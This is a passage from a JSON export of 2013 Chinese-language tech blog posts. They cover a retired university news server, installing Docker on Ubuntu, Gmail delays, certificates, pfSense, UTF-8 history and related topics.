    "body": "2003 年寫的 Group.NCTU.edu.tw，在歷經 10 年後終於歸西：\r\n\r\n<a href=\"http://web.archive.org/web/20030805050438/http://group.nctu.edu.tw/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xX5Ig9Dl.webp\" /><img src=\"https://i.gslin.com/imgur/xX5Ig9Dl.jpg\" alt=\"\" /></picture></a>\r\n\r\n2003 年時要跨 BBS 站轉信，除了直接 innbbsd 對接外，另外一種方式是架設 News Server，讓各站透過 News Server 轉信。前者用在轉信站比較少的情境下 (因為是 O(n^2) 的設定成本)，後者則是用在轉信站比較多的時候 (是 O(n) 的設定成本)。\r\n\r\n當時幾個大站都有自己的 News Server 可以提供這項服務，包括 <a href=\"http://www.ptt.cc/\">Ptt</a> 的 Wrap，KKCity 的 news.kkcity.com.tw，以及無名小站 BBS 的 News Server。但即使如此，這些站台都是人工設定，每設定一次轉信要花不少時間。\r\n\r\n當時剛好舊的 ccreader.nctu.edu.tw 退役 (印象中是一台 Pentium III 450 與 512MB RAM 的機器，掛著 10 顆各 4.3GB 的 SCSI 硬碟)，就跟 <a href=\"http://web.it.nctu.edu.tw/~cschen/\">cschen</a> 要了一個 IP 與 domain，把原來的 ccreader 重新整理後，用 <a href=\"http://php.net/\">PHP</a> 寫網頁的部份，<a href=\"http://www.perl.org/\">Perl</a> 拿來處理後端對 <a href=\"http://www.eyrie.org/~eagle/software/inn/\">INN</a> 的操作。而使用條款則是自己胡亂寫一通後就上線了...\r\n\r\n<a href=\"http://web.archive.org/web/20040803093136/http://group.nctu.edu.tw/apply/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GWam4xYl.webp\" /><img src=\"https://i.gslin.com/imgur/GWam4xYl.jpg\" alt=\"\" /></picture></a>\r\n\r\n上線後除了我自己的站丟上去用以外，我就開始找人用。因為當時 Ptt 的 Wrap 常常掛掉，就跑去找 <a href=\"http://www.in2home.org/\">in2</a> 講，馬上就搬過來了：\r\n\r\n<a href=\"http://www.ptt.cc/man/FJU-AM-90/D9B1/M.1057808154.A.F96.html\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2WViiC7.webp\" /><img src=\"https://i.gslin.com/imgur/2WViiC7.jpg\" alt=\"\" /></picture></a>\r\n<small>原來在 SYSOP 板的那篇找不到了，只找到這篇...</small>\r\n\r\n過沒多久我就跑去找簡志宇問他要不要把無名的轉信 policy 也換過來。然後隔年我去 KKCity 打工的時候也說服當時站方把 news.kkcity.com.tw 凍結。\r\n\r\n到這邊之後，就很少看到台灣還有在自己架 News Server 了... (掩面)\r\n\r\n之後 Group.NCTU.edu.tw 再加上 RSS 的功能 (後來爛掉了)，以及加上 e-mail to usenet 功能 (這功能我自己一直在用，所以沒讓他爛掉)，開發完這兩個功能後也就丟著沒開發了。最多就是想到的時候上去更新 OS &amp; ports。\r\n\r\n後來出社會工作，再加上 twbbs.org 商業化其實我不是很開心。整個系統放著 10 顆 SCSI 硬碟跑 RAID0，雖然有備份，但其實已經沒打算要在上面弄東西了，只是沒想到最後居然是掛在 SCSI 卡上面... 這批硬碟除了這十年外，還得加上先前 ccreader 的使用，差不多十五年還沒壞，早期的硬碟真的很神猛...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NB4HrKw.webp\" /><img src=\"https://i.gslin.com/imgur/NB4HrKw.jpg\" alt=\"\" /></picture>\r\n\r\n掛掉後有人問我為什麼不把備份資料弄一弄再開站，除了上面講的原因外，現在交大的環境也不適合再弄這樣的服務了... 如果要繼續服務的話我希望在外面重新寫一份，而不是拿原來的資料與架構繼續做。\r\n\r\n最後，還是得感謝當年<a href=\"http://www.cc.nctu.edu.tw/\">交大計中</a>願意提供資源讓架設這個服務。當年我從上面學到很多東西，不僅僅是程式而已，還包括第一線客服並且了解使用者想要什麼。",
    "title": "Group.NCTU.edu.tw (2003～2013)"
  },
  {
    "id": "3615",
    "body": "<a href=\"https://www.docker.io/\">docker</a> 是 <a href=\"https://www.dotcloud.com/\">dotCloud</a> 發展出來的 LinuX Container 管理程式。\r\n\r\n由於建議在 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 3.8 以上的版本跑，所以在 <a href=\"http://releases.ubuntu.com/precise/\">Ubuntu 12.04 LTS</a> 上會需要 backport kernel，參考「<a href=\"http://askubuntu.com/questions/330065/ubuntu-12-04-kernel-upgrade-to-3-10\">ubuntu 12.04 kernel upgrade to 3.10</a>」這篇的方法就可以了。\r\n\r\n<pre>sudo apt-get install linux-image-generic-lts-raring\r\nsudo apt-get install linux-headers-generic-lts-raring</pre>\r\n\r\n裝完重開機後應該就可以看到新版 kernel：\r\n\r\n<pre>$ <strong>uname -a</strong>\r\nLinux GSLIN-DESKTOP 3.8.0-30-generic #44~precise1-Ubuntu SMP Fri Aug 23 18:32:41 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux</pre>\r\n\r\n接下來依照「<a href=\"http://www.vpsee.com/2013/07/use-docker-and-lxc-to-build-a-desktop/\">使用 Docker/LXC 迅速启动一个桌面系统</a>」這篇的方法，透過 ppa 安裝 docker。\r\n\r\n<pre>sudo add-apt-repository ppa:dotcloud/lxc-docker\r\nsudo apt-get update\r\nsudo apt-get install software-properties-common lxc-docker</pre>\r\n\r\n然後用標準的 <code>ubuntu</code> 系統，第一次跑需要抓檔案，但第二次跑就快很多了：\r\n\r\n<pre>sudo docker run -i -t ubuntu /bin/bash</pre>\r\n\r\n每次都是乾淨的環境，我第一次進去的時候 touch 一個檔案，第二次進去後就沒了：\r\n\r\n<pre>gslin@GSLIN-DESKTOP [~] [04:52/W3] <strong>sudo docker run -i -t ubuntu /bin/bash</strong>\r\nWARNING: Docker detected local DNS server on resolv.conf. Using default external servers: [8.8.8.8 8.8.4.4]\r\nroot@679a4301aecc:/# <strong>ls -al /tmp</strong>\r\ntotal 8\r\ndrwxrwxrwt  2 root root 4096 Apr 11 21:11 .\r\ndrwxr-xr-x 24 root root 4096 Sep 22 20:52 ..\r\nroot@679a4301aecc:/# <strong>touch /tmp/foo.txt</strong>\r\nroot@679a4301aecc:/# <strong>ls -al /tmp</strong>\r\ntotal 8\r\ndrwxrwxrwt  2 root root 4096 Sep 22 20:52 .\r\ndrwxr-xr-x 25 root root 4096 Sep 22 20:52 ..\r\n-rw-r--r--  1 root root    0 Sep 22 20:52 foo.txt\r\nroot@679a4301aecc:/# <strong>exit</strong>\r\ngslin@GSLIN-DESKTOP [~] [04:52/W3] <strong>sudo docker run -i -t ubuntu /bin/bash</strong>\r\nWARNING: Docker detected local DNS server on resolv.conf. Using default external servers: [8.8.8.8 8.8.4.4]\r\nroot@7ced1a7c82bb:/# <strong>ls -al /tmp</strong>\r\ntotal 8\r\ndrwxrwxrwt  2 root root 4096 Apr 11 21:11 .\r\ndrwxr-xr-x 24 root root 4096 Sep 22 20:52 ..\r\nroot@7ced1a7c82bb:/# <strong>exit</strong></pre>\r\n\r\n另外可以參考「<a href=\"http://blog.scoutapp.com/articles/2013/08/28/docker-git-for-deployment\">Docker: Git for deployment</a>」這篇。\r\n\r\n看起來是拿來測試的好工具... 準備拿來測 <a href=\"http://puppetlabs.com/\">Puppet</a>。",
    "title": "在 Ubuntu 12.04 LTS 上跑 Docker..."
  },
  {
    "id": "3625",
    "body": "前幾天 <a href=\"https://mail.google.com/\">Gmail</a> 可以正常運作，但一直收不到信的問題由官方發公告出來解釋了：「<a href=\"http://gmailblog.blogspot.com/2013/09/more-on-gmails-delivery-delays.html\">More On Gmail’s Delivery Delays</a>」。\r\n\r\n官方宣稱，這次的問題出自於兩個獨立的網路同時掛掉，造成 Gmail 的收信處理能力大幅下降：\r\n\r\n<blockquote>The message delivery delays were triggered by a dual network failure. This is a very rare event in which two separate, redundant network paths both stop working at the same time. The two network failures were unrelated, but in combination they reduced Gmail’s capacity to deliver messages to users, and beginning at 5:54 a.m. PST messages started piling up.</blockquote>\r\n\r\n最後是十個多小時後完全恢復。",
    "title": "前幾天 Gmail 收信延遲的問題..."
  },
  {
    "id": "3627",
    "body": "剛剛才看到 <a href=\"http://nexmo.com/\">Nexmo</a> 的公告，Nexmo 的 Voice API 以往只能吃文字，然後程式會發音，但現在則可以吃 WAV 或 MP3 格式的檔案直接播放了：「<a href=\"http://blog.nexmo.com/misc/nexmos-voice-api-now-supports-wav-and-mp3-format/\">Nexmo’s Voice API Now Supports .wav and .mp3 Format</a>」。\r\n\r\n連 API 的範例都直接給出來，好像很好玩的樣子... XD\r\n\r\n然後仔細看文件才發現 Speech 的部份是支援中文的！代碼 <a href=\"https://docs.nexmo.com/index.php/voice-api/text-to-speech#languages\">zh-cn</a> 的男/女聲發音！",
    "title": "Nexmo 的 Voice API 可以吃 WAV 與 MP3 格式了..."
  },
  {
    "id": "3629",
    "body": "<a href=\"http://imgur.com/\">Imgur</a> 宣佈支援 HTTPS：「<a href=\"http://imgur.com/blog/2013/09/26/100-million-uniques-higher-upload-limits-and-https-support/\">100 million uniques, higher upload limits, and HTTPS support</a>」。\r\n\r\n以這張 <a href=\"https://i.gslin.com/imgur/X3L4U.jpg\">https://i.gslin.com/imgur/X3L4U.jpg</a> 範例：\r\n\r\n<img src=\"//i.imgur.com/X3L4U.jpg\" alt=\"\" />\r\n\r\n同樣的 <a href=\"https://i.gslin.com/imgur/X3L4U.jpg\">https://i.gslin.com/imgur/X3L4U.jpg</a> 也會動，所以之後就可以使用 <a href=\"//i.imgur.com/X3L4U.jpg\">//i.imgur.com/X3L4U.jpg</a>。\r\n\r\n看了 DNS 記錄，目前 <code>i.imgur.com</code> 是透過 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的 CDN 加速。",
    "title": "Imgur 支援 HTTPS..."
  },
  {
    "id": "3633",
    "body": "<a href=\"http://www.ithome.com.tw/\">iThome</a> 上看到「<a href=\"http://www.ithome.com.tw/itadm/article.php?c=82771\">財政部財政資訊中心將釋出40億張電子發票的消費分析</a>」，裡面提到：\r\n\r\n<blockquote>為期3年的電子發票試辦期，終於要在2013年底告一段落，並於2014年正式上路。光是2012年，臺灣就開出了24.6億張的電子發票，財政部財政資訊中心（以下簡稱資訊中心）電子發票科科長劉醇錕更表示，以成長速度推估，2013年將開出40億張電子發票，占發票總開立數的一半。劉醇錕表示，這些電子發票將在未來以政府公開資料方式釋出，供企業、研究機構等使用。</blockquote>\r\n\r\n資料的處理：\r\n\r\n<blockquote>但在公開電子發票資訊之前，劉醇錕表示，資訊中心會進行「去識別化」，最終公開的資料，會以一個街區、或一個小行政區為單位，來模糊原始資料夾帶的資訊，而非以哪家店、哪個使用者為單位直接釋出原始資料（Raw Data），藉此來避免讓有心人士交叉分析出企業、消費者的個人資訊。 </blockquote>\r\n\r\n我馬上想到 <a href=\"http://www.aol.com/\">AOL</a> 當初 2006 年也是自信滿滿的匿名化後放出：\r\n<ul>\r\n\t<li><a href=\"http://blog.gslin.org/archives/2006/09/26/751/aol-%E5%9B%A0%E7%82%BA%E6%94%BE%E6%90%9C%E5%B0%8B%E7%B4%80%E9%8C%84%E8%A2%AB%E5%91%8A%E4%BA%86/\">AOL 因為放搜尋紀錄被告了</a></li>\r\n\t<li><a href=\"http://blog.ijliao.info/archives/2006/08/15/2483/\">搜尋引擎的七種使用者</a> (blog.ijliao.info)</li>\r\n</ul>\r\n這讓人超期待的...",
    "title": "電子發票的數據..."
  },
  {
    "id": "3639",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> 的開發者是用 <a href=\"http://bazaar.canonical.com/\">Bazaar</a> (bzr) 為版本控制系統，放在 <a href=\"https://launchpad.net/\">Launchpad</a> 上，不過 open source 領域目前總是有人會想要轉到 <a href=\"http://git-scm.com/\">Git</a> 上... XD\r\n\r\n<a href=\"http://www.percona.com/\">Percona</a> 提供 Oracle MySQL 的 Git mirror，目前是實驗性質：「<a href=\"http://www.mysqlperformanceblog.com/2013/09/26/experimental-git-mirror-oracle-mysql-trees/\">Experimental Git mirror of Oracle MySQL trees</a>」。\r\n\r\n如果只是要拉 MySQL source tree 下來看 (而且手上只有 Git，沒有裝 Bazaar 的人)，可以透過這份拉出來... 還不確定更新的頻率 :o",
    "title": "Percona 提供的 MySQL Git Mirror..."
  },
  {
    "id": "3641",
    "body": "<a href=\"http://news.netcraft.com/\">Netcraft</a> 這篇「<a href=\"http://news.netcraft.com/archives/2013/09/26/wildcard-ev-certificates-supported-by-major-browsers.html\">Wildcard EV certificates supported by major browsers</a>」提到幾個重點...\r\n\r\n首先是 EV 規範內禁止使用 Wildcard certificate (出自「<a href=\"https://www.cabforum.org/Guidelines_v1_4_3.pdf\">Guidelines ForThe IssuanceAnd Management Of ExtendedValidationCertificates</a>」)：\r\n\r\n<blockquote>Wildcard certificates are not allowed for EV Certificates.</blockquote>\r\n\r\n然後還是有人發 <code>*.cclearning.accenture.com</code>，而且主流瀏覽器會正常照 EV 模式顯示出來：(這邊拿 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的範例，原文有所有截圖)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8O2N0xY.webp\" /><img src=\"https://i.gslin.com/imgur/8O2N0xY.jpg\" alt=\"\" /></picture>\r\n\r\n只有 Safari 的手機版本當作普通 certificate 處理的：(下面兩張圖，上圖是桌機版，下圖是手機版)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qSBKCjX.webp\" /><img src=\"https://i.gslin.com/imgur/qSBKCjX.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/M9eeqeq.webp\" /><img src=\"https://i.gslin.com/imgur/M9eeqeq.jpg\" alt=\"\" /></picture>\r\n\r\n被抓出來鞭後應該會修正... 吧？\r\n\r\n<strong>Update</strong>：感謝 comment 的糾正，Safari 的地方寫錯了...",
    "title": "Wildcard EV Certificate..."
  },
  {
    "id": "3647",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到一段歷史：「<a href=\"http://hardware.slashdot.org/story/13/09/25/1542238/the-chip-that-changed-the-world-amds-64-bit-fx-51-ten-years-later\">The Chip That Changed the World: AMD's 64-bit FX-51, Ten Years Later</a>」，以及引用的報導「<a href=\"http://www.extremetech.com/extreme/167168-the-chip-that-changed-the-world-amds-64-bit-fx-51-ten-years-later\">The chip that changed the world: AMD’s 64-bit FX-51, ten years later</a>」。\r\n\r\n當年 <a href=\"http://www.intel.com/\">Intel</a> 決定以 Itanium 架構為主，不相容於原來的 x86 架構，而 <a href=\"http://www.amd.com/\">AMD</a> 則是針對 x86 相容開發出 AMD64，而 AMD 的第一顆 AMD64 CPU 就是 FX-51。\r\n\r\n這個決策改變了整個產業的發展，也讓 AMD 在當時的市占率追近 Intel 不少，逼的 Intel 後來推出與 AMD64 相容的 EM64T。十年過去，現在看不到 Itanium 了...\r\n\r\n一段歷史...",
    "title": "AMD 的 AMD64 (以及後來 Intel 的 EM64T)..."
  },
  {
    "id": "3649",
    "body": "鑑於 <a href=\"http://www.nsa.gov/\">NSA</a> 監聽的關係 (國內最近也很流行這套？)，最近國外介紹 <a href=\"http://www.startssl.com/\">StartSSL</a> 的文章又熱門起來了：「<a href=\"https://konklone.com/post/switch-to-https-now-for-free\">Switch to HTTPS Now, For Free</a>」。\r\n\r\n不過因為 StartSSL 多了憑證驗證的問題，使得一般人申請變得相當麻煩，所以就有很多文章介紹 :o\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NgpYShu.webp\" /><img src=\"https://i.gslin.com/imgur/NgpYShu.jpg\" alt=\"\" /></picture>\r\n<small>這邊的 Generate Private Key 並不是你打算申請的 HTTPS 要用的，而是個人憑證...</small>\r\n\r\n這次這篇介紹文用了大量的圖片截圖，並且把產生 private key 以及 csr 的指令都列出來，後面還教你怎麼設定 <a href=\"http://nginx.org/\">nginx</a>，相較於其他文件，應該是很清楚了...",
    "title": "用 StartSSL 申請免費 SSL 憑證的說明..."
  },
  {
    "id": "3655",
    "body": "前幾天提到 <a href=\"http://www.percona.com/\">Percona</a> 把 Oracle MySQL tree 放一份到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"http://blog.gslin.org/archives/2013/09/27/3639/percona-%E6%8F%90%E4%BE%9B%E7%9A%84-mysql-git-mirror/\">Percona 提供的 MySQL Git Mirror...</a>」。\r\n\r\n現在 Percona 自家產品的程式碼也放上去了：「<a href=\"http://www.mysqlperformanceblog.com/2013/09/27/experimental-git-mirrors-of-percona-xtrabackup-percona-server-more-plus-oracle-mysql-git-mirror/\">Experimental GIT Mirrors of Percona XtraBackup, Percona Server plus Oracle MySQL trees</a>」。\r\n\r\n包含了：\r\n<ul>\r\n\t<li><a href=\"https://github.com/percona/percona-server\">Percona Server</a></li>\r\n\t<li><a href=\"https://github.com/percona/percona-xtrabackup\">Percona XtraBackup</a></li>\r\n\t<li><a href=\"https://github.com/percona/percona-playback\">Percona Playback</a></li>\r\n</ul>\r\n目前開發都還是在 <a href=\"https://launchpad.net/\">Launchpad</a> 上，這邊只是 mirror...",
    "title": "Percona 將自家產品程式碼也放一份到 GitHub 上..."
  },
  {
    "id": "3657",
    "body": "<a href=\"http://www.pfsense.org/\">pfSense</a> 是一套很不錯的 firewall 以及 NAT 服務，上面還可以跑一切服務 (像是 <a href=\"http://openvpn.net/\">OpenVPN</a> 或是 <a href=\"http://www.squid-cache.org/\">Squid</a>)，不過後來都是用商用的硬體方案來處理...\r\n\r\n看到「<a href=\"http://www.linuxuser.co.uk/tutorials/build-your-own-pro-grade-firewall\">Build your own pro-grade firewall</a>」這篇突然想到要查 pfSense 是否可以 High Availability，如果做的夠好的話，其實可以用兩台機器來跑，成本相對低很多。\r\n\r\n結果查到這篇官方文件「<a href=\"https://doc.pfsense.org/index.php/Configuring_pfSense_Hardware_Redundancy_(CARP)\">Configuring pfSense Hardware Redundancy (CARP)</a>」，裡面有幾個關鍵字，像是 XMLRPC Sync 似乎暗示了設定也可以同步？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZHK9WgE.webp\" /><img src=\"https://i.gslin.com/imgur/ZHK9WgE.jpg\" alt=\"\" /></picture>\r\n<small>官方文件裡的配置圖。</small>\r\n\r\n該測試看看了，兩台 server 也才十萬，但兩台能跑到 500Mbps+ 的硬體防火牆的價錢就貴多了... (不過比較省電？)",
    "title": "用 pfSense 架設 Firewall (以及 NAT)"
  },
  {
    "id": "3659",
    "body": "面試的時候曾經有面試者說手上沒有 big data 可以研究，所以對 big data 的理解僅限於理論，不過我對這種講法就...\r\n\r\n網路上有很多資料是很有用的：\r\n<ul>\r\n\t<li><a href=\"https://www.wikipedia.org/\">維基百科</a>的資料庫：「<a href=\"https://en.wikipedia.org/wiki/Wikipedia:Database_download\">Wikipedia:Database download</a>」。</li>\r\n\t<li><a href=\"http://www.nicovideo.jp/\">niconico 動畫</a>提供的資料：「<a href=\"http://www.ithome.com.tw/itadm/article.php?c=80627\">日大型影片共享網站開放各項數據供學術研究用途下載</a>」。</li>\r\n\t<li>剛剛看到有人整理 <a href=\"https://www.google.com/\">Google</a> 放出了哪些資料：「<a href=\"http://svonava.com/post/62186512058/datasets-released-by-google\">Datasets released by Google</a>」</li>\r\n\t<li><a href=\"http://www.aol.com/\">AOL</a> 當年的 search data leak (維基百科說明「<a href=\"https://en.wikipedia.org/wiki/AOL_search_data_leak\">AOL search data leak</a>」)，網路上找一下就可以找到載點。</li>\r\n</ul>\r\n能玩的東西明明就很多... 另外還可以掃各種公開資料。",
    "title": "對於學術研究用的 Big Data..."
  },
  {
    "id": "3663",
    "body": "Finger 是個 1977 年發展的協定 (<a href=\"https://tools.ietf.org/html/rfc742\">RFC 742</a> - NAME/FINGER，以及 1991 年的 <a href=\"https://tools.ietf.org/html/rfc1288\">RFC 1288</a> - The Finger User Information Protocol)，現在幾乎廢棄不用了...\r\n\r\n2013 年，基於 <a href=\"http://openid.net/\">OpenID</a> 協定的 WebFinger 出現了！而且是進入 Standards Track 狀態了：「<a href=\"http://self-issued.info/?p=1125\">WebFinger is now RFC 7033!</a>」。\r\n\r\n用了 OpenID 基礎以及 <a href=\"http://www.json.org/\">JSON</a> 格式... 看起來 blog 可以先支援？至於其他的東西就還要再想想...",
    "title": "WebFinger 協定"
  },
  {
    "id": "3665",
    "body": "一路翻資料翻到 Skip-gram：「<a href=\"http://homepages.inf.ed.ac.uk/ballison/pdf/lrec_skipgrams.pdf\">A CloserLook at Skip-gram Modelling</a> (PDF)」，不確定是 2005 年 (出自「<a href=\"http://citeseer.uark.edu:8080/citeseerx/showciting?cid=3781722\">CiteSeerX &mdash; Citation Query A Closer look at Skip-gram modeling</a>」) 還是 2006 年 (出自「<a href=\"http://citeseer.uark.edu:8080/citeseerx/viewdoc/summary?doi=10.1.1.62.4714\">CiteSeerX &mdash; A Closer Look at Skip-gram Modelling</a>」) 的論文，不過 <a href=\"https://scholar.google.com/\">Google Scholar</a> 是標 2006 年...\r\n\r\nSkip-gram 實際上的定義很簡單，就是允許跳幾個字的意思... 依照原論文裡的定義，這個句子：\r\n\r\n<blockquote>Insurgents killed in ongoing fighting.</blockquote>\r\n\r\n在 bi-grams 的時候是拆成：{<code>insurgents killed, killed in, in ongoing, ongoing fighting</code>}。\r\n\r\n在 2-skip-bi-grams 的時候拆成：{<code>insurgents killed, insurgents in, insurgents ongoing, killed in, killed ongoing, killed fighting, in ongoing, in fighting, ongoing fighting</code>}。\r\n\r\n在 tri-grams 的時候是：{<code>insurgents killed in, killed in ongoing, in ongoing fighting</code>}。\r\n\r\n在 2-skip-tri-grams 的時候是：{<code>insurgents killed in, insurgents killed ongoing, insurgents killed fighting, insurgentsin ongoing, insurgents in fighting, insurgents ongoing fighting, killed in ongoing, killed in fighting, killed ongoing fighting, in ongoing fighting</code>}。\r\n\r\n這樣就有辦法在整篇文章都是用「台灣大學」的情況下以「台大」找到文章，解決一些「同義詞」想要解決的問題。\r\n\r\n在論文裡有分析 coverage，不過這邊 coverage 是指什麼客觀評估方式就不知道了，等下來找找看到底是什麼...\r\n\r\n<img src=\"//i.imgur.com/IDOP02w.png\" alt=\"\" />",
    "title": "Skip-gram"
  },
  {
    "id": "3668",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到的：「<a href=\"http://news.slashdot.org/story/13/09/30/0256220/students-hack-school-issued-ipads-within-one-week\">Students Hack School-Issued iPads Within One Week</a>」。\r\n\r\n<img src=\"//i.imgur.com/5fWgfWC.jpg\" alt=\"\" />\r\n\r\n就不解釋了 XDDD",
    "title": "幹壞事永遠都是進步最大的原動力..."
  },
  {
    "id": "3670",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 文摘上看到「<a href=\"http://hackaday.com/2013/09/27/utf-8-the-most-elegant-hack/\">UTF-8 – “The most elegant hack”</a>」這篇。除了維基百科上的資料以外，<a href=\"http://rob.pike.usesthis.com/\">Rob Pike</a> 與其他人在 2003 年寫的 <a href=\"http://www.cl.cam.ac.uk/~mgk25/ucs/utf-8-history.txt\">mail</a> 也是相當重要的資料。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a> 與 Rob Pike 兩位發展出來的 <a href=\"https://en.wikipedia.org/wiki/UTF-8\">UTF-8</a> 被譽為最優雅的 hack 真的一點都不為過。<a href=\"http://www.unicode.org/\">Unicode</a> 1.0 在 1991 年 10 月公佈。之後就陸陸續續有表示的格式出來...\r\n\r\n相容於 ASCII 0-127 的 <a href=\"https://en.wikipedia.org/wiki/UTF-1\">UTF-1</a> 在 1992 年被提出來，但 parsing performance 並不好。\r\n\r\n1992 年 7 月，Dave Prosser 提出 FSS-UTF，很類似後來的 UTF-8 但缺乏 self-synchronizing 特性 (這個特性指的是，從字串中間可以很容易找到切割點)。\r\n\r\n1992 年 8 月，Ken Thompson 改善了 FSS-UTF，讓 bit 使用效率低一點，但因此擁有 self-synchronizing 特性。之後在 1992 年 9 月，Rob Pike 與 Ken Thompson 將 UTF-8 實做到 <a href=\"http://plan9.bell-labs.com/plan9/\">Plan 9</a> 上。而 UTF-8 正式公開發表則是在 1993 年 1 月的 <a href=\"https://www.usenix.org/\">USENIX</a> 上。\r\n\r\n<img src=\"//i.imgur.com/UodeqJG.png\" alt=\"\" />\r\n\r\nUTF-8 的設計看起來很 hack，但卻有這些優美的特性：\r\n\r\n<h2>與既有系統的相容性</h2>\r\n\r\n只包含 ASCII 0-127 的字串是合法的 UTF-8 字串。\r\n\r\n重點是 0 被保留下來，也就是本來的 NULL-terminated 字串處理全部都可以沿用，這使得從 C 語言的 <code>strcpy()</code>，到一堆網路上已經跑很久的通訊協定，都可以繼續沿用。\r\n\r\n<h2>極高的辨識性</h2>\r\n\r\nUTF-8 很容易被判斷出來，引用維基百科的數字：\r\n\r\n<blockquote>The probability of a random string of bytes which is not pure ASCII being valid UTF-8 is 3.9% for a two-byte sequence, and decreases exponentially for longer sequences.</blockquote>\r\n\r\n非 ASCII 字串只要稍微有長度 (四個中文字，12 bytes？)，判斷字串是否為 UTF-8 的正確性應該跟各種服務的 <a href=\"https://en.wikipedia.org/wiki/Service-level_agreement\">SLA</a> 有得拼...\r\n\r\n<h2>與 Unicode 的順序對應相容</h2>\r\n\r\nUnicode 的編號順序與 UTF-8 相容，也就是說連傳統的 <code>strcmp()</code> 都可以直接拿來用：\r\n\r\n<blockquote>Sorting a set of UTF-8 encoded strings as strings of unsigned bytes yields the same order as sorting the corresponding Unicode strings lexicographically by codepoint.</blockquote>\r\n\r\n<h2>避開 UTF-16 的 BOM</h2>\r\n\r\nBOM 的 0xFE 與 0xFF 在合法 UTF-8 文件裡是看不到的，所以如果開頭有看到 BOM 時一定不是 UTF-8：\r\n\r\n<blockquote>The bytes 0xFE and 0xFF do not appear, so a valid UTF-8 stream never matches the UTF-16 byte order mark and thus cannot be confused with it.</blockquote>\r\n\r\n<h2>self-synchronizing 特性</h2>\r\n\r\n由於 encoding 的特性，UTF-8 字串要找下一個斷點是很容易的：\r\n\r\n<img src=\"//i.imgur.com/UodeqJG.png\" alt=\"\" />\r\n\r\n找到符合這六種開頭的 string pattern 就是斷點。也因為如此，容錯率相當高。\r\n\r\n<h2>可以容納所有 Unicode 字元</h2>\r\n\r\n也因為 encoding 特性，UTF-8 理論值可以容納百萬個字元 (依照 <a href=\"https://tools.ietf.org/html/rfc3629\">RFC3629</a> 的額外限制，是 1112064 個)。在還沒有找到很多外星文明之前，應該都還夠用。(2012 年發佈的 Unicode 6.2 也才十一萬個字元，110182 個字元)\r\n\r\n<h2>Unicode 與 UTF-8 之間的轉換很方便</h2>\r\n\r\n再次因為 encoding 特性，轉換幾乎是 bit 運算就可以操作完畢。(注意 Last code point 的值都切齊)\r\n\r\n<h2>因為太多好處，變成超級標準了...</h2>\r\n\r\n這是一個幾乎找不到缺點的 standard，所以早期很多 programmer 選擇的原因是「看了就喜歡」，於是就有大量的 library。接下來有大量的 standard (這還包括 XML standard) 直接挑明講 UTF-8 的處理能力是必要條件。\r\n\r\n<h2>總結...</h2>\r\n\r\nUTF-8 encoding 怎麼看都很 hack (看起來很隨意的把不同 Unicode 區段切割到不定寬度字集內，感覺不到特別的處理)，但卻很完美的解決了「如果可以處理 8bits 時，要與現有系統相容」的問題。也因為這個 encoding 把問題解決得很乾淨 (UTF-8 解決不了的，其他人都解不乾淨)，於是就變成超級主流 encodoing...\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 在 2012 年 2 月時就寫過一篇「<a href=\"http://googleblog.blogspot.com/2012/02/unicode-over-60-percent-of-web.html\">Unicode over 60 percent of the web</a>」，這還是扣掉 ASCII 的 20%！\r\n\r\n<img src=\"//i.imgur.com/YtlBvmn.png\" alt=\"\" />\r\n\r\n現在是 2013 年快年尾了，可以預期之後是 UTF-8 萬萬歲了...\r\n\r\n如果想要了解更細，可以參考維基百科的「<a href=\"https://en.wikipedia.org/wiki/Comparison_of_Unicode_encodings\">Comparison of Unicode encodings</a>」，裡面有與其他 Unicode 格式的比較。",
    "title": "非常經典的 UTF-8..."
  },
  {
    "id": "3688",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到有人因為最近 <a href=\"http://www.nist.gov/\">NIST</a> 被抖出來的事蹟 (<a href=\"https://en.wikipedia.org/wiki/SHA-3\">SHA-3</a> 的問題)，而決定換掉 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>：「<a href=\"http://yro.slashdot.org/story/13/10/01/1215244/silent-circle-moving-away-from-nist-cipher-suites-after-nsa-revelations\">Silent Circle Moving Away From NIST Cipher Suites After NSA Revelations</a>」。原報導在「<a href=\"http://silentcircle.wordpress.com/2013/09/30/nncs/\">Non-NIST Cipher Suite</a>」。\r\n\r\n換掉 AES 不確定這是不是好主意...\r\n\r\nRijndael 從 1998 年公開後，2001 年被選為 AES，之後被廣泛應用在所有資安協定上，也因為被廣泛應用，全世界打了這十多年下來，都還是屬於可用的狀態。換成其他 cipher 會比較安全嗎？",
    "title": "因為 NIST 而換掉 AES？"
  },
  {
    "id": "3692",
